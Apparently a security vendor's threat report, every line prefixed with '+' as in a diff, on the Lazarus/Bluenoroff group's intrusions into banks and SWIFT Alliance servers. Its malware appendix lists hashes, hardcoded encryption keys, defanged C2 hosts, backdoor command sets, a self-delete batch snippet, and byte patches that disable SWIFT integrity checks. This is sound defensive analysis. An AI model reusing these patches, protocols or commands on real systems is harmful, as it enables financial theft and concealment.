+1'515'008 bytes
+16a278d0ec24458c8e47672529835117
+C:\Windows\System32\lcsvsvc.dll
+1'545'216 bytes
+c635e0aa816ba5fe6500ca9ecf34bd06
+All of this malware were general purpose backdoors and their respective droppers, loaders and
+configuration files. Details about this malware is available in the Appendix.
+Lateral Movement. Host3.
+The following malicious files were found on the system:
+Filename
+Size
+C:\Windows\gpsvc.dat
+901'555 bytes
+c1364bbf63b3617b25b58209e4529d8c
+C:\Windows\gpsvc.exe
+753'664 bytes
+85d316590edfb4212049c4490db08c4b
+C:\Windows\msdtc.bat
+454 bytes
+3b1dfeb298d0fb27c31944907d900c1d
+Gpsvc.dat contains an encrypted payload for an unidentified loader. It's possible that the loader
+was placed on a different host following the anti-forensic technique that we have observed
+previously or gpsvc.exe is the loader but we are missing the secret passphrase passed via
+commandline. The decrypted files are described in the Appendix to this report.
+Cease of Activity
+In several cases we investigated, once the attackers were confident they had been discovered,
+because they lost some of the compromised assets, they started wiping the remaining malware
+payloads. This indicates a skilled attacker, who cares about being discovered.
+Other Known Operations
+The attack on European financial institutions was implemented via a watering hole, a
+compromised government website that had many regular visitors from local banks. However,
+the same approach has been used in multiple other places around the world. The Polish
+waterhole incident got much more public attention than the others due to the escalation of the
+alert to a higher level and the compromise of a government website.
+We have seen a few other websites being compromised with the same symptoms and turned
+into a watering hole through script injection or by placing exploit delivery code. We have found
+them in the following countries:
+Russian Federation
+Australia
+Uruguay
+Mexico
+India
+Nigeria
+Peru
+What connected most of the compromised websites was the JBoss application server platform.
+This suggests that attackers may have an exploit for the JBoss server. Unfortunately we haven
+managed to find the exploit code yet. Nevertheless, we would like to recommend to all JBoss
+application server administrators that they limit unnecessary access to their servers and check
+the access logs for attack attempts.
+Banks were not the only Lazarus Group targets. This suggests that it has multiple objectives.
+We have seen some unusual victims, probably overlapping with the wider Lazarus Group
+operations, i.e. a cryptocurrency business. When it comes to Bluenoroff, its typical list of targets
+includes banks, financial and trading companies, casinos and cryptocurrency businesses.
+Detections of Lazarus/Bluenoroff malware are also distributed across the world. Here are some:
+Conclusions
+Lazarus is not just another APT actor. The scale of Lazarus operations is shocking. It has been
+on a growth spike since 2011 and activities didn't disappear after Novetta published the results
+of its Operation Blockbuster research. All those hundreds of samples that were collected give
+the impression that Lazarus is operating a factory of malware, which produces new samples via
+multiple independent conveyors.
+We have seen it using various code obfuscation techniques, rewriting its own algorithms,
+applying commercial software protectors, and using its own and underground packers. Lazarus
+knows the value of quality code, which is why we normally see rudimentary backdoors being
+pushed during the first stage of infection. Burning those doesn't cause too much impact on the
+group. However, if the first stage backdoor reports an interesting infection it starts deploying
+more advanced code, carefully protecting it from accidental detection on disk. The code is
+wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary
+encrypted registry value. It usually comes with an installer that only the attackers can use,
+because they password protect it. It guarantees that automated systems - be it public sandbox
+or a researcher's environment - will never see the real payload.
+Most of the tools are designed to be disposable material that will be replaced with a new
+generation as soon as they are burnt. And then there will be newer, and newer, and newer
+versions. Lazarus avoids reusing the same tools, the same code, and the same algorithms.
+"Keep morphing!" seems to be its internal motto. Those rare cases when it is caught with the
+same tools are operational mistakes, because the group seems to be so large that one part
+doesn't know what the other is doing.
+All this level of sophistication is something that is not generally found in the cybercriminal world.
+It's something that requires strict organization and control at all stages of the operation. That's
+why we think that Lazarus is not just another APT actor.
+Of course such a process requires a lot of money to keep running the business, which is why
+the appearance of the Bluenoroff subgroup within Lazarus was logical.
+Bluenoroff, as a subgroup of Lazarus, is focused only on financial attacks. It has reverse
+engineering skills and spends time tearing apart legitimate software, implementing patches for
+SWIFT Alliance software, and finding ways and schemes to steal big money. Its malware is
+different and the attackers aren't exactly soldiers that hit and run. Instead they prefer to make an
+execution trace to be able to reconstruct and quickly debug the problem. They are field
+engineers that come when the ground is already cleared after the conquest of new lands.
+One of Bluenoroff's favorite strategies is to silently integrate into running processes without
+breaking them. From the perspective of the code we've seen it looks as if it is not exactly looking
+for hit and run solutions when it comes to money theft. Its solutions are aimed at invisible theft
+without leaving a trace. Of course, attempts to move around millions of USD can hardly remain
+unnoticed but we believe that its malware might now be secretly deployed in many other
+places - and it doesn't trigger any serious alarms because it's much more quiet.
+We would like to note, that in all the observed attacks against banks that we have analyzed,
+servers used to connect to SWIFT didn't demonstrate or expose any specific vulnerability. The
+attacks were focused on the banks
+ infrastructure and staff, exploiting vulnerabilities in
+commonly used software or websites, bruteforcing passwords, using keyloggers and elevating
+privileges. However, the design of inter-banking transactions using a bank's own server running
+SWIFT connected software suggests that there are personnel responsible for the administration
+and operation of the SWIFT connected server. Sooner or later the attackers find these users,
+gain their necessary privileges and access the server connected to the SWIFT messaging
+platform. With administrative access to the platform, they can manipulate the software running
+on the system as they wish. There is not much that can stop them, because from a technical
+perspective it may not differ from what authorized and qualified engineers do: starting and
+stopping services, patching software, or modifying databases.
+Therefore, in the breaches we analyzed, SWIFT as an organization hasn
+t been directly at fault.
+More than that, we have witnessed SWIFT trying to protect its customers by implementing the
+detection of database and software integrity issues. We believe that this is the right direction
+and has to be extended with full support. Complicating patches of integrity checks further may
+create a serious threat to the success of further operations run by Lazarus/Bluenoroff against
+banks worldwide.
+To date, the Lazarus/Bluenoroff group has been one of the most successful in large scale
+operations against financial industry. We believe that it will remain one of the biggest threats to
+the banking sector, finance and trading companies as well as casinos, for years to come.
+As usual, defense against attacks such as those from Lazarus/Bluenoroff should include a multilayered approach. Kaspersky Lab products include special mitigation strategies against this
+group, as well as many other APT groups we track. If you are interested in reading more about
+effective mitigation strategies in general, we recommend the following articles:
+Strategies for mitigating APTs
+How to mitigate 85% of threats with four strategies
+We will continue tracking the Lazarus/Bluenoroff actor and will share new findings with our intel
+report subscribers as well as with the general public. If you would like to be among the first to
+hear our news, we suggest you subscribe to our intel reports.
+For more information, contact: intelreports@kaspersky.com.
+Appendix: Malware Analysis
+Malware 1: SWIFT transactions Information Harvester (New Runoff)
+MD5: 0abdaebbdbd5e6507e6db15f628d6fd7
+Discovered path: C:\MSO10\fltmsg.exe
+Date: 2016.08.18 23:44:21
+Size: 90'112 bytes
+Compiled on: 2016.08.18 22:24:41 (GMT)
+Linker version: 10.0
+Type: PE32 executable (GUI) Intel 80386, for MS Windows
+Internal Bluenoroff module tag: NR
+Used in: Incident #1
+An almost identical file was found in another location with the following properties:
+MD5: 9d1db33d89ce9d44354dcba9ebba4c2d
+Discovered path: D:\Alliance\Entry\common\bin\win32\nroff.exe
+Date detected: 2016-08-12 22:24:19
+Size: 89'088 bytes
+Compiled on: 2016.08.12 12:25:02 (GMT)
+Type: PE32 executable (GUI) Intel 80386, for MS Windows
+Internal module mark: NR
+The compilation timestamp indicates the malware was compiled exactly one day before being
+used in the bank.
+The module starts from creating a "MSO10" directory on the logical drive where the Windows
+system is installed, i.e. C:\MSO10. Also, it crafts several local filepaths, the purpose of which
+isn't clear. Not all have reference in the code and they could be copy-pasted code or part of a
+common file in the framework. The paths are represented with the following strings:
+ %DRIVE%:\MSO10\LATIN.SHP
+ %DRIVE%:\MSO10\ENGDIC.LNG
+ %DRIVE%:\MSO10\ADDT.REF
+ %DRIVE%:\MSO10\MSE.LIV
+Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of
+100ms. If the LATIN.SHP container is not found or has an invalid signature, the log record will
+contain the following message: "NR-PR", which we assume indicates a PRoblem loading
+module codenamed "NR". The name "NR" is probably a reference to the printer helper program
+called "nroff" used by SWIFT Alliance software. The origins of the nroff name go back to a Unix
+text-formatting program according to Wikipedia.
+The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260
+bytes. After that the module decrypts the file with an RC4 algorithm using a hardcoded
+encryption key:
+4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
+This hardcoded key is quite unique and has been discovered in few other places, including in
+other tools from the set of malware used to attack SWIFT Alliance software and within the Wiper
+Tool discovered in Bangladesh in early 2016 (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe). It was
+also used in another tool to encrypt configuration files as reported by BAE Systems.
+The decrypted data from the file is validated by checking the magic header of the data, which
+should be 0xA0B0C0D0 value. The file contains a configuration of 35,260 bytes which is copied
+to a reserved memory and a sequence of data blocks of 1096 bytes each. The number of blocks
+may vary, the module reads them all and stores them in a linked list structure.
+There is an internal logging feature implemented in the current module, which keeps a text log
+in C:\MSO10\ENGDIC.LNG. The text records are stored in lines of the following format:
+[%Hour%:%Minute%:%Second%] [%Process_PID%] %Message%\r\n
+The message may contain the following prefixes:
+[ERROR]
+[INFO]
+[WARNING]
+This executable is designed to be called with three parameters:
+fltmsg.exe <mode> <print file> <output-path>
+The first parameter is a number 1 or 2. If any other value is passed to the executable it simply
+saves it to the log in the format of "NR-PR-P %mode%". We assume that "NR-PR-P" is
+interpreted by the attackers as "nroff problem parameter".
+Mode 1 means that the module shall select the output path automatically, which contains the
+following string template: "#%04d%04d.prt", otherwise the output path is copied from the third
+command line argument.
+For recognized modes 1 and 2 the module saves a backup for every "print file" passed to it via
+command line that has the extension ".prt", ".out" or ".txt". The backups are stored in one of the
+following directories:
+ C:\MSO10\P %N%\MOT\
+ C:\MSO10\R %N%\MOT\
+ C:\MSO10\N %N%\MOT\
+Where %N% is a sequential integer number.
+The malware is an information harvester. It processes files passed to it, parses them and
+searches for specific SWIFT transaction codes, such as:
+ 28C: Statement Number
+ 25: Account Identification
+Its main purpose is to accumulate information about transactions passed through it, saving
+Sender and Receiver, Account and Statement Numbers as well as some other data included in
+parsed files. The files passed to it are allegedly in the SWIFT transaction format, which
+suggests that the attackers were closely accustomed to internal SWIFT documentation or
+carefully reverse engineered the format. It recognizes the following format tags:
+ 515 (M51)
+ 940 (M94) - start of day balance
+ 950 (M95) - end of day balance
+When such files are found, it logs them into the log folder drive:\MSO10 and saves a copy.
+The RC4-encrypted file we found (LATIN.SHP) contained the following strings after decryption:
+D:\Alliance\Entry\database\bin\sqlplus.exe
+D:\Alliance\Entry\common\bin\win32
+D:\Alliance\Entry
+C:\MSO10\fltmsg.exe
+C:\MSO10\MSO.DLL
+C:\MSO10\MXS.DLL
+\\127.0.0.1\share
+localhost\testuser
+\\127.0.0.1\share\
+In the older case from Bangladesh the config contained SWIFT business identifier codes (BIC)
+to hide in SWIFT transaction statements.
+Malware 2: SWIFT Alliance Access Protection Mangler
+MD5: 198760a270a19091582a5bd841fbaec0
+Size: 71'680 bytes
+Discovered path: C:\MSO10\MSO.dll
+Compiled on: 2016.08.18 22:24:44 (GMT)
+Linker version: 10.0
+Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
+Internal Bluenoroff module tag: PM
+Used in: Incident #1
+The compilation timestamp indicates the malware was compiled in the days preceding the
+attack on the bank.
+This malware tool is used to patch some SWIFT Alliance software modules in the memory to
+disable certain protection mechanisms that were implemented to detect direct database
+manipulation attempts. The code was most likely created by the same developer that created
+SWIFT transactions Information Harvester (MD5: 0abdaebbdbd5e6507e6db15f628d6fd7). Like
+the information harvester it creates a "MSO10" directory on the logical drive where the Windows
+system is installed, i.e. C:\MSO10.
+It also crafts several local filepaths, the purpose of which isn't clear. Not all have reference in
+the code and could be a copy-pasted code or part of common file in the framework:
+ %DRIVE%:\MSO10\LATIN.SHP
+ %DRIVE%:\MSO10\ENGDIC.LNG
+ %DRIVE%:\MSO10\ADDT.REF
+ %DRIVE%:\MSO10\MSE.LIV
+Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of
+100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following
+message: "PM-PR". The file is read successfully if its size is larger or equal to a hardcoded
+value of 35,260. After that the module decrypts the file with an RC4 algorithm using a
+hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
+The decrypted data from the file is validated by checking the magic header of the data, which
+should be 0xA0B0C0D0 value.
+The file contains a configuration block of 35,260 bytes which is copied to a reserved memory
+and a sequence of data blocks of 1096 bytes long. The number of blocks may vary, the module
+reads them all and stores them in a linked list structure.
+If the LATIN.SHP file is found then the module simply counts the number of records in it and
+proceeds with patching the target file, which is described further. If it is not found or the file
+magic bytes differ from expected after decryption, then the patching does not happen and the
+code simply drops execution.
+There is an internal logging feature implemented in the current module, which keeps text log in
+C:\MSO10\ENGDIC.LNG. The following log messages may appear in this file in plaintext:
+Log message format
+Description of values
+PatchMemory(%s, %d)
+%s - current executable filename
+%d - 0 or 1 (0 - unpatch operation, 1 - patch
+operation)
+[PatchMemory] %s
+%s - current executable filename
+[PatchMemory] LoadLibraryA(%s) = %X %s - additional DLL filename
+%X - additional DLL image base address
+[WorkMemory] %s %d End
+%s - executable name to be patched
+%d - process ID value
+This is printed in case of failure to open process
+[WorkMemory] pid=%d, name=%s
+%d - process ID value
+%s - executable name to be patched
+[Patch] 1 Already Patched %s
+%s - executable name to be patched
+[Unpatch] 1 Already Unpatched %s
+%s - executable name to be patched
+[Patch] 1 %s
+%s - executable name to be patched
+[Patch] 1 %s
+%s - executable name to be patched
+P[%u-%d] %d
+%u - process ID which is patched
+%d - patch index (starts from 0), corresponds to
+patch block
+%d - contains last WinAPI error code
+This is printed in case of failure to patch memory
+P[%u-%d] OK
+%u - process ID which is patched
+%d - patch index (starts from 0), corresponds to
+patch block
+[Patch] 2 Already Patched %s
+%s - executable name to be patched
+[Unpatch] 2 Already Unpatched %s
+%s - executable name to be patched
+[Patch] 2 %s
+%s - executable name to be patched
+[Patch] 2 %s
+%s - executable name to be patched
+The module has seven embedded blocks of 0x130 bytes long that contain patch target
+information.
+Each block seems to have four slots of 0x4C bytes with patch information. However, only the
+first slot per module is used at this point. Each slot contains information for just two code
+modifications.
+The patch slots include the size of the patch, and the relative path to the module to be patched
+on disk, offset to the patched bytes (containing the relative virtual address) and original bytes.
+The patcher verifies that the original bytes are in place before modifying the code. The patch
+procedure can also do unpatching by design, however this feature is currently unused.
+The first slot is a patch for the liboradb.dll library which seems to be essential and is applied in
+all cases. Other patches are designed for specific executables that the current SWIFT Alliance
+Software Patcher DLL module is loaded in. It searches for a corresponding patch that matches
+the current process executable filename and applies only that patch.
+The following table contains an interpretation of the patch-blocks embedded into the binary. The
+table omits empty slots and shows only valid patch instructions:
+Block
+Module
+Patch
+Original
+code
+Replacement
+Description
+liboradb.dll
+0x8147e
+Disables checksum
+verification
+Block is Unused
+MXS_cont.exe
+mxs_ha.exe
+sis_sndmsg.exe
+SNIS_sendmsg.exe
+SNSS_cont.exe
+0xff49
+e8c2fbffff
+b801000000
+0x10b0c
+e8c2fbffff
+b801000000
+0x65a9
+e8c2fbffff
+b801000000
+0x716c
+e8c2fbffff
+b801000000
+0x49719
+e8c2fbffff
+b801000000
+0x4a2dc
+e8c2fbffff
+b801000000
+0xa8119
+e8c2fbffff
+b801000000
+0xa8cdc
+e8c2fbffff
+b801000000
+0x7849
+e8c2fbffff
+b801000000
+0x840c
+e8c2fbffff
+b801000000
+Disables internal
+security checks.
+Disables internal
+security checks.
+Disables internal
+security checks.
+Disables internal
+security checks.
+Disables internal
+security checks.
+SWIFT Alliance software binary tools are linked with file "saa_check.cpp", which provides basic
+security checks and validates the integrity of the database. The patches are applied to the
+modules to disable these checks and prevent the detection of database inconsistency. The file
+selection is not random, as far as the SWIFT connected servers server environment is a
+complex of executable files with complicated relations, the attackers identified all executables
+that implemented new security features and patched them off. We have checked all other
+binaries on the analyzed servers and none of other applications were linked with
+saa_check.cpp, except those in the patchlist.
+The patcher DLL has to be loaded into the address space of the target process to work. It is not
+designed to patch other processes.
+Malware 3: SWIFT Alliance software Files Hook
+MD5: f5e0f57684e9da7ef96dd459b554fded
+Size: 91'136 bytes
+Discovered path: C:\MSO10\MXS.dll
+Compiled on: 2016.08.18 22:24:31 (GMT)
+Linker version: 10.0
+Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
+Internal Bluenoroff module tag: HD (alternative: HF)
+Used in: Incident #1
+The compilation timestamp indicates the malware was compiled during the days of the attack on
+the bank.
+It is very similar to SWIFT transactions Information Harvester and SWIFT Alliance software
+Protection Mangler. Like the information harvester it creates a "MSO10" directory on the logical
+drive where the Windows system is installed, i.e. C:\MSO10.
+Similarly, it crafts several local filepaths:
+ %DRIVE%:\MSO10\LATIN.SHP
+ %DRIVE%:\MSO10\ENGDIC.LNG
+ %DRIVE%:\MSO10\ADDT.REF
+ %DRIVE%:\MSO10\MSE.LIV
+Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of
+100ms. If the LATIN.SHP container is not found or is invalid, the log will contain the following
+message: "HD-PR". The file is read successfully if its size is larger than or equal to a hardcoded
+value of 35,260. After that the module decrypts the file with an RC4 algorithm using the
+hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
+The decrypted data from the file is validated by checking the magic header of the data, which
+should be 0xA0B0C0D0 value.
+The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a
+sequence of data blocks 1096 bytes long. The number of blocks may vary, the module reads
+them all and stores them in a linked list structure.
+If the LATIN.SHP file is found then the module simply counts the number of records in it and
+proceeds. If it is not found or the magic file bytes differ from expected after decryption, then the
+patching will not happen and the code simply drops execution.
+There is an internal logging feature implemented in the current module, which keeps a text log
+in C:\MSO10\ENGDIC.LNG. The following log messages may appear in a file in plaintext:
+Log message format
+Description of values
+HF_Initialize(%s)
+%s - current executable filename
+NewCopyFileA(%s, %s, %d)
+The arguments correspond to source, destination
+file and flag value for "overwrite if exists".
+NewCopyFileA->CreateProcess(%s)
+failed with error=%d
+%s - commandline of a fltmsg.exe process
+%d - Win32 API integer error code
+NewCreateProcessA(%s) - 1
+ command line of a new process
+NewCreateProcessA(%s) - 2
+ command line replacement
+The purpose of this module is in patching the current process, so that CopyFileA function in fact
+calls a custom hook function, which calls CreateProcessA and passes some arguments to it.
+The command line for the new process is as follows:
+C:\MSO10\fltmsg.exe 2 "%source_path%" "%destination_path%"
+The path to the fltmsg.exe process is taken from the decrypted configuration file
+C:\MSO10\LATIN.SHP.
+Another API function, CreateProcessA is similarly hooked. Any call to create a new process,
+which starts one of two recognized executables "nroff" or "printhelper", is modified. Before the
+original executables are called, a custom application will be spawned with the following
+commandline:
+C:\MSO10\fltmsg.exe 0 %original arguments% - for nroff
+C:\MSO10\fltmsg.exe 1 %original arguments% - for printhelper
+If the execution fails the module logs a failure message with a Win32 API error code.
+We assume that this module is injected in the middle of running SWIFT Alliance software, to
+divert some of the interesting files for alteration or to make a reserve copy.
+Malware 4: Session Hijacker
+MD5: 2963cd266e54bd136a966bf491507bbf
+Date (appeared in collection): 2015-05-23 02:27
+Size: 61'440 bytes
+Discovered path: c:\windows\mdtsc.exe
+Compiled on: 2011.02.18 07:49:41 (GMT)
+Type: PE32+ executable (console) x86-64, for MS Windows
+Linker version: 10.0
+Used in: Incident #1
+This file is a command line tool to start a new process as another user currently logged on to the
+same system. To find the user token, one of the following case-insensitive command line
+options is used:
+Option
+Description
+-n <Name>
+Find token by process name
+-p <PID>
+Find token by process ID
+-s <SESSID>
+Find token by Terminal session ID
+The last command line option defines the command line of the new process to start.
+Example usage:
+c:\windows\mdtsc.exe -p 8876 "rundll32.exe c:\windows\fveupdate.dll,Start MAS_search.exe"
+The example tool usage was recovered from an infected system during forensic analysis. It was
+used to start a SWIFT Alliance software tool via a custom application starter that most probably
+tampered with the new process. The fveupdate.dll module was not recovered from the system.
+Malware 5: TCP Tunnel Tool
+MD5: e62a52073fd7bfd251efca9906580839
+Date discovered: 2016.08.12 01:11:31
+Discovered path: C:\Windows\winhlp.exe
+Size: 20'480 bytes
+Known as: winhlp.exe, msdtc.exe
+Last start date: 2016.08.12 21:59
+Started by: svchost.exe (standard Windows signed binary)
+Compiled on: 2014.09.17 16:59:33 (GMT)
+Type: PE32 executable (GUI) Intel 80386, for MS Windows
+Linker version: 6.0
+Used in: Incident #1
+This application is a tool that works as a simple TCP relay that encrypts communication with C2
+and contains remote reconfiguration capability. It has to be started with at least two parameters
+containing host IP and port. Two additional optional parameters may define the destination
+server IP and port to relay network connections to. The destination server IP and port can be
+retrieved and reconfigured live from C2. Let's refer to these pairs of IP/ports as HostA/PortA and
+HostB/PortB respectively.
+When the tool starts it attempts to connect to the C2 server, which starts from the generation of
+a handshake key. The handshake key is generated via a simple algorithm such as the following:
+i = 0;
+key[i] = 0xDB * i ^ 0xF7;
+++i;
+} while ( i < 16 );
+This algorithm generates the following string:
+ASCII
+Hexadecimal
+,-./()*+$%&\' !"
+2c 2d 2e 2f 28 29 2a 2b 24 25 26 27 20 21 22
+Next, it generates a message body, a string of bytes from 64 to 192 bytes long. The fifth
+DWORD in the message is replaced with special code 0x00000065 ("e" character). Then it
+encrypts the message with a handshake key and sends it to the C2 server with the data block
+length prepended to that buffer.
+This is what such a packet looks like (blue rows are encrypted with RC4 and handshake key):
+Offset (bytes)
+Size (bytes)
+Description
+Size of the rest of data in the message
+Random data
+Special code 0x00000065 ("e")
+>=64
+Random data
+It expects similar behaviour from the server. The server responds with similar packet, where the
+first DWORD is the size of the rest of the packet and the only meaningful value is at offset 0x14,
+which must contain 0x00000066 ("f") or the handshake is not successful.
+If the handshake is successful, the tool spawns a dedicated thread to deal with the C2
+connection.
+It uses RC4 encryption to communicate with the C2 over TCP with a hardcoded 4-bytes key
+value: E2 A4 85 92.
+The analyzed sample uses binary protocol for communication, exchanging messages in fixed
+length blocks of 40 bytes, which are encrypted with RC4 as mentioned above. Each such block
+contains a DWORD at offset 0x4 describing a control code used in the protocol. Other fields in
+the block may contain additional information or be set to a randomly generated number for
+distraction.
+Client
+Control Code
+Server
+Meaning
+Control Code
+Meaning
+0x10001
+Ready to work
+0x10000
+Keep-Alive
+0x10008
+Task Done
+0x10002
+Start tunnelling with HostB
+0x10003
+Set new HostB/PortB
+0x10004
+Get current HostB/PortB
+0x10006
+Terminate immediately
+For the Control Code 0x10003, additional information including IP and port numbers are
+transferred in the same message block at offsets 0x10 for IP and 0x14 for port.
+The tool will not start connecting to HostB until it receives a 0x10002 command to start the
+tunnelling process. When this happens it will open an additional, independent TCP session with
+HostA, will do a handshake, and then pass all data back and forth without modification.
+Other variants of the tool were found in different places:
+02f75c2b47b1733f1889d6bbc026157c - uploaded to a multiscanner from Bangladesh.
+459593079763f4ae74986070f47452cf - discovered in Costa Rica.
+ce6e55abfe1e7767531eaf1036a5db3d - discovered in Ethiopia.
+All these tools use the same hardcoded RC4 key value of E2 A4 85 92.
+Malware 6: Active Backdoors
+MD5: 2ef2703cfc9f6858ad9527588198b1b6
+Type: PE32 executable (GUI) Intel 80386, for MS Windows
+Size: 487'424 bytes
+Name: mso.exe
+Link time: 2016.06.14 11:56:42 (GMT)
+Linker version: 6.0
+Used in: Incident #1, Incident #2
+This module is linked with opensource SSL/TLS suite mbedTLS (aka PolarSSL) as well as zLib
+1.2.7 and libCURL libraries.
+Command line options:
+IMEKLMG.exe [filepath] [-i] [<C2_IP> <C2_PORT> ...] [-s]
+self-install in the registry and restart self with previous path as argument.
+[filepath]
+sleep for 3 seconds, delete the specified path, restart self with option "-s".
+<C2_IP> <C2_PORT> ...
+one or more pairs of C2 IP and port can be passed here.
+start the main backdoor mode
+Starting the executable with no option is equivalent to starting with "-i", which initiates a
+sequence of restarts eventually leading to self-installation into the autorun key and user's
+%App_Data% directory. The final command line string to start the backdoor (as per registry
+autorun key) is: C:\Users\%user%\AppData\Roaming\IMEKLMG.exe -s
+Depending on the available command line arguments the module may use a C2 address from
+the following locations:
+1. C2 configuration stored in the registry (expected 1840 bytes). The configuration is
+located at HKLM\SYSTEM\CurrentControlSet\Control\Network\EthernetDriver. The data
+inside the key is encrypted with a DES algorithm with a hardcoded encryption key: 58 29
+AB 7C 86 C2 A5 F9.
+2. Hardcoded C2 address and port.
+3. [Unfinished backdoor code] Use a C2 address and port passed via command line. Note,
+this code is currently unfinished: it contains a command line argument parsing and
+setting in the memory of the backdoor: up to six pairs of C2 hosts and ports can be
+passed to it, but this information seems not to be reaching the main backdoor code yet.
+If the registry value with config is not set upon the backdoor start, it creates this value,
+populating the config with hardcoded values.
+When the module is passed to a domain and port pair via the command line, config from the
+registry or hardcoded value, it resolves the IP address of the domain (if the domain is passed)
+and produces a different IP by decrypting the DNS request with a 4-byte XOR operation. The
+XOR constant is hardcoded: 0xF4F29E1B.
+Hardcoded C2s:
+update.toythieves[.]com:8080
+update.toythieves[.]com:443
+IP xor Key
+(Real C2)
+Country
+First Seen
+Last Seen
+Resolved IP (C2 disguise)
+67.65.229[.]53
+2015-08-05
+2015-08-19
+88.223.23.193
+62.201.235[.]227
+Iraq
+2015-08-26
+2015-10-23
+37.87.25.23
+127.0.0.1
+2015-10-30
+2015-11-20
+100.158.242.245
+46.100.250[.]10
+Iran
+2015-11-27
+2016-01-07
+53.250.8.254
+76.9.60[.]204
+Canada
+2016-01-14
+2016-08-17
+87.151.206.56
+The application establishes a HTTPS connection, introducing itself as "TestCom 18467"
+(hostname) during a TLS handshake.
+The backdoor protocol supports the following commands sent as DWORD constants:
+Command ID
+Description
+0x91B93485
+Get system information: hostname, OS version, locale, list of network
+interface cards with properties.
+0x91B9348E
+Sleep command. Disconnect from C2. Save current time and show no
+network activity for a specified time.
+0x91B93491
+Hibernate command. Disconnect from C2 and show no network
+activity. Seems like this sleep is persistent over program restarts.
+0x91B9349A
+Show all available drives and used/available space on them.
+0x91B9349B
+List files in specified directory.
+0x91B9349D
+Change current directory.
+0x91B93486
+Run specified command.
+0x91B934A6
+Run specified command as another Terminal Session user.
+0x91B93492
+Delete file(s) based on file path pattern.
+0x91B934A1
+Wipe specified file two times with random DWORD value.
+0x91B9348B
+Compress and upload specified file path recursively.
+0x91B9348A
+Read data from the specified file.
+0x91B93489
+Write data to the specified file.
+0x91B93495
+Get detailed process information: PID, Session ID, CPU performance
+status, memory used, full path.
+0x91B93491
+Kill process by name or PID.
+0x91B9348C
+Execute a command and read the output. This is done via the
+redirection of command output to a text file in temp directory, reading
+and sending the contents of the file after the process is complete.
+0x91B934A5
+Connect 1024 times to localhost:135 for disguise, cleanup and
+shutdown.
+0x91B934A4
+Get current backdoor configuration.
+0x91B934A3
+Set new backdoor configuration.
+0x91B934A2
+Test remote host and port by opening TCP connection.
+0x91B934A7
+Inject an executable module into address space of explorer.exe.
+0x91B93499
+Get current working directory.
+0x91B9349C
+Delete specified file.
+The same file, but compressed with an unknown packer, was discovered uploaded on VT from
+Poland and Korea in November 2016. This suggests backdoor reuse in those countries. It has
+the following properties:
+Name: IMEKLMG.exe.dmp
+MD5: 06cd99f0f9f152655469156059a8ea25
+SHA1: 77c7a17ccd4775b2173a24cd358ad3f2676c3452
+File size: 376832 bytes
+File type: PE32 executable (GUI) Intel 80386, for MS Windows
+Link time: 2016.06.14 11:56:42 (GMT)
+Linker version: 6.0
+Another similar file was discovered in February 2017, distributed from a Nigerian webserver. It is
+a similar backdoor but is packed with Obsidium packer.
+Here is the file's general information:
+MD5: 09a77c0cb8137df82efc0de5c7fee46e
+SHA1: 964ba2c98b42e76f087789ab5f64e75dd370841a
+File size: 176640 bytes
+File type: PE32 executable (GUI) Intel 80386, for MS Windows
+Link time: 2017.02.02 04:20:19 (GMT)
+Linker version: 10.0
+This file is similar to the other backdoors from the arsenal. However, it contains some
+differences and improvements. It uses an external file to store configuration, located at
+%SYSTEMROOT%\systray.dat. The config has a fixed size of 182 bytes and has the following
+structure:
+XORed with 0xDE
+Random 4 bytes
+Magic Value: 0x12458FAE
+Other data
+Similar to other backdoors, it uses XOR operation on the DNS response. The XOR DWORD
+constant is different here: 0xCBF9A345. The sample contains the following default hardcoded
+C2 address:
+tradeboard.mefound[.]com:443
+To complicate analysis, the developer has implemented a protocol with dynamically changing
+constants depending on the variant of the malware. So far, the backdoor "speaks the same
+language" but with a different "dialect". This is implemented through a different base for all
+messages. This sample supports similar commands but its Command IDs are shuffled and start
+with a different number.
+Command ID
+Description
+0x23FAE29C
+Get system information: hostname, OS version, locale, list of network
+interface cards with properties.
+0x23FAE2A4
+Sleep command. Disconnect from C2. Save current time and show
+no network activity for specified time.
+0x23FAE2A6
+Hibernate command. Disconnect from C2 and show no network
+activity. This is persistent over program restarts, because it the
+module saves time when to come back online in the config file.
+0x23FAE29E
+List all available drives.
+0x23FAE2A9
+Recursively list contents of the specified directory.
+0x23FAE2A7
+List contents of the specified directory.
+0x23FAE29F
+Change current directory.
+0x23FAE2AA
+Run specified command.
+0x23FAE2A8
+Delete file(s) based on file path.
+0x23FAE2AD
+Wipe specified file two times with random DWORD value.
+0x23FAE2B1
+Compress and upload specifed file path recursively.
+0x23FAE2A0
+Read data from the specified file.
+0x23FAE2A1
+Write data to the specified file.
+0x23FAE2A2
+Get detailed process information: PID, Session ID, CPU performance
+status, memory used, full path.
+0x23FAE2AC
+Kill process by name or PID.
+0x23FAE2AB
+Execute a command and read the output. This is done via redirection
+of command output to a text file in temp directory, reading and
+sending the contents of the file after the process is complete.
+0x23FAE29D
+Clone file timestamps from the given path.
+0x23FAE2AF
+Set new C2 port, save configuration file.
+0x23FAE2B0
+Set new C2 address, save configuration file.
+0x23FAE2A3
+Command to self-destruct. It drops ieinst.bat into %TEMP% directory
+and runs it to self-delete.
+del "%S"
+nping 0
+if exist "%S" goto L1
+del "%0"
+In addition it wipes the config file with zeroes and deletes the file as
+well.
+0x23FAE2A5
+Terminate session and quit immediately.
+This matches the description of backdoors from the Romeo set as per Novetta.
+Malware 7: Passive Backdoors
+MD5: b9be8d53542f5b4abad4687a891b1c03
+Type: PE32 executable (GUI) Intel 80386, for MS Windows
+Size: 102'400 bytes
+Names: hkcmd.exe
+Internal name: compact.exe
+Link time: 2016.01.08 16:41:18 (GMT)
+Linker version: 6.0
+Product name (file version info): Windows Firewall Remote Management
+Used in: Incident #1
